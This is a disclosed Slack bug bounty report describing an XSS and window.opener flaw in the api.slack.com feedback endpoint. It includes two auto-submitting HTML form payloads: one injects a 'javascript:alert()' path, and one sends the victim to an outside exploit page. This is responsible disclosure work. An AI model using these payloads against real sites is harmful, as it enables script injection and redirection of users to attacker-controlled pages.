Slack · Report #834071
XSS on link and window.opener
Validstatus
mediumseverity
$1,000bounty
49upvotes
23 Jan 2023disclosed
How it was found
Hi possible xss and error when clicking on the link .
`<form name="pisarenko" action="https://api.slack.com/feedback/submit" method="POST"> <input type='hidden' name='crumb' value="1"> <input type='hidden' name='path' value="javascript:alert()"> <input type='hidden' name='vote' value="Yes">
</form> <script>document.pisarenko.submit();</script>`or
`<form name="pisarenko" action="https://api.slack.com/feedback/submit" method="POST"> <input type='hidden' name='crumb' value="1"> <input type='hidden' name='path' value="https://servisvk.com/exploit/opener.php"> <input type='hidden' name='vote' value="Yes">
</form> <script>document.pisarenko.submit();</script>`Impact
Redirection from the original site to an evil site or execution of js code
Please check that the domain is slack
{F765317}